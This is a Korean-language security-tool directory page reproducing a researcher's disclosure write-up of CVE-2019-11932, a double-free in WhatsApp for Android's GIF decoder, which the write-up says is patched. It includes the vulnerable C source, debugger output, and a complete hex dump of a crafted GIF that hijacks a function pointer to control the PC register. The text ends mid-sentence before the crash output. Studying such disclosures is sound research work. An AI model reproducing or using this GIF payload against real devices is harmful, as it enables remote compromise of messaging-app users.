Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-11932 — 조작된 GIF 파일을 통한 원격 코드 실행으로 이어지는 Android용 WhatsApp의 이중 해제 취약점인 CVE-2019-11932에 대한 기술 문서 및 익스플로잇 코드입니다. | Kitploit
도구/GitHubGitHub/infiniteloopers/cve-2019-11932
Android SecurityVulnerability AnalysisExploitationMobile SecurityLearning & EducationBinary Exploitation
GitHubinfiniteloopers/cve-2019-11932

CVE-2019-11932

조작된 GIF 파일을 통한 원격 코드 실행으로 이어지는 Android용 WhatsApp의 이중 해제 취약점인 CVE-2019-11932에 대한 기술 문서 및 익스플로잇 코드입니다.

저장소 보기
4296년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-11932

WhatsApp의 이중 해제 버그가 RCE로 이어지는 방법

제가 안드로이드 WhatsApp에서 발견한 이중 해제(double-free) 취약점과 이를 RCE로 전환한 방법을 공유하고자 합니다. 이 내용을 Facebook에 알렸고, Facebook은 이를 인지하여 WhatsApp 버전 2.19.244에서 공식적으로 패치했습니다. Facebook은 이 이슈에 대해 CVE-2019-11932를 예약하는 데 도움을 주었습니다.

WhatsApp 사용자 여러분, 이 버그로부터 안전하려면 최신 WhatsApp 버전(2.19.244 이상)으로 업데이트해 주시기 바랍니다.

단계는 다음과 같습니다:

0:16 공격자가 사용자에게 GIF 파일을 다양한 채널을 통해 전송

한 가지 방법은 WhatsApp에서 문서(Document)로 보내는 것입니다 (예: 클립 버튼을 누르고 문서를 선택하여 변조된 GIF 전송) 공격자가 사용자의 연락처 목록에 있다면 (즉, 친구라면), 변조된 GIF는 사용자의 상호작용 없이 자동으로 다운로드됩니다.

0:24 사용자가 WhatsApp 친구에게 미디어 파일을 보내려고 합니다. 그래서 사용자는 클립 버튼을 누르고 WhatsApp 갤러리를 열어 친구에게 보낼 미디어 파일을 선택합니다.

사용자는 아무것도 보낼 필요가 없다는 점에 유의하세요. WhatsApp 갤러리를 여는 것만으로 버그가 트리거되기 때문입니다. WhatsApp 갤러리를 누른 후 추가 터치는 필요하지 않습니다.

0:30 WhatsApp은 모든 미디어(수신된 GIF 파일 포함)의 미리보기를 표시하므로, 이중 해제 버그와 RCE 익스플로잇이 트리거됩니다.

libpl_droidsonroids_gif의 decoding.c에 있는 DDGifSlurp의 이중 해제 취약점

WhatsApp 사용자가 WhatsApp에서 갤러리 보기를 열어 미디어 파일을 보내려고 하면, WhatsApp은 libpl_droidsonroids_gif.so라는 네이티브 라이브러리로 GIF 파일을 파싱하여 미리보기를 생성합니다. libpl_droidsonroids_gif.so는 오픈 소스 라이브러리이며, 소스 코드는 https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c 에서 확인할 수 있습니다.

GIF 파일은 여러 개의 인코딩된 프레임을 포함합니다. 디코딩된 프레임을 저장하기 위해 rasterBits라는 이름의 버퍼가 사용됩니다. 모든 프레임의 크기가 같으면, rasterBits는 재할당 없이 디코딩된 프레임을 저장하는 데 재사용됩니다. 그러나 다음 세 가지 조건 중 하나가 충족되면 rasterBits가 재할당됩니다:

width * height > originalWidth * originalHeight

width - originalWidth > 0

height - originalHeight > 0

재할당은 free와 malloc의 조합입니다. 재할당 크기가 0이면 단순히 free입니다. 크기가 100, 0, 0인 3개의 프레임을 가진 GIF 파일이 있다고 가정해 보겠습니다.

첫 번째 재할당 후, 크기 100의 info->rasterBits 버퍼가 생깁니다.

두 번째 재할당(0)에서 info->rasterBits 버퍼가 해제됩니다.

세 번째 재할당(0)에서 info->rasterBits가 다시 해제됩니다.

이로 인해 이중 해제 취약점이 발생합니다. 트리거 위치는 decoding.c에서 찾을 수 있습니다:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }

안드로이드에서 크기 N의 메모리를 이중 해제하면 크기 N의 연속된 두 메모리 할당이 동일한 주소를 반환하게 됩니다.

(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250

(lldb) p (int)free($foo) (int) $15 = 0

(lldb) p (int)free($foo) (int) $16 = 0

(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250

위 스니펫에서 변수 $foo가 두 번 해제되었습니다. 결과적으로 다음 두 할당($20과 $21)이 동일한 주소를 반환합니다. 이제 gif.h의 struct GifInfo를 살펴보겠습니다. struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };

그런 다음 아래 크기의 세 프레임을 가진 GIF 파일을 제작합니다: sizeof(GifInfo) 0 0

WhatsApp 갤러리가 열리면, 해당 GIF 파일은 rasterBits 버퍼(크기 sizeof(GifInfo))에서 이중 해제 버그를 트리거합니다. 흥미롭게도 WhatsApp 갤러리에서는 GIF 파일이 두 번 파싱됩니다. 해당 GIF 파일이 다시 파싱되면 다른 GifInfo 객체가 생성됩니다. 안드로이드의 이중 해제 동작으로 인해 GifInfo info 객체와 info->rasterBits는 동일한 주소를 가리키게 됩니다. DDGifSlurp()는 첫 번째 프레임을 info->rasterBits 버퍼로 디코딩하여 info와 그 rewindFunction()을 덮어씁니다. rewindFunction()은 DDGifSlurp() 함수의 끝에서 호출됩니다.

PC 레지스터 제어

제작해야 할 GIF 파일은 다음과 같습니다: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B

4개의 프레임을 포함합니다: 프레임 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 프레임 2: 2C 00 00 00 00 1C 0F 00 00 00 00 프레임 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 프레임 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 WhatsApp 갤러리가 열릴 때 발생하는 시퀀스는 다음과 같습니다:

첫 번째 파싱: 초기화: GifInfo info = malloc(168); 프레임 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 프레임 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 프레임 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 프레임 4: 중요하지 않음, 이 GIF 파일을 유효하게 만들기 위해 존재함 두 번째 파싱: 초기화: GifInfo info = malloc(168); 프레임 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 프레임 2, 3, 4: 중요하지 않음 종료: info->rewindFunction(info); 첫 번째 파싱에서 이중 해제 버그가 발생하기 때문에 info와 info->rasterBits는 이제 동일한 위치를 가리킵니다. 첫 번째 프레임을 위와 같이 제작하면 info->rewindFunction(info);가 호출될 때 rewindFunction과 PC를 제어할 수 있습니다. 참고: 모든 프레임은 LZW로 인코딩되어 있습니다. 프레임을 인코딩하려면 LZW 인코더를 사용해야 합니다. 위의 GIF는 다음과 같은 크래시를 트리거합니다:

도구 다운로드